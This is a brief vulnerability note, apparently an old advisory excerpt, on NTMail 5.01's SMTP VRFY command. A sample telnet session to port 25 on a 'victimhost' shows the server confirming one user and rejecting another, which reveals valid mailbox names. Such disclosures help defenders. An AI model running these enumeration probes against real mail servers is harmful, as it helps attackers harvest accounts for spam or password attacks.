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NTMail VRFY Vulnerability

see discussion

example:
telnet victimhost:25
220 mail.net-shopper.co.uk NTMail (v5.01.0003/AB0000.00.719cfeeb) ready for
ESMTP transfer
vrfy usera
250 usera@victimhost <usera@victimhost>.
vrfy userb
557 String does not match anything.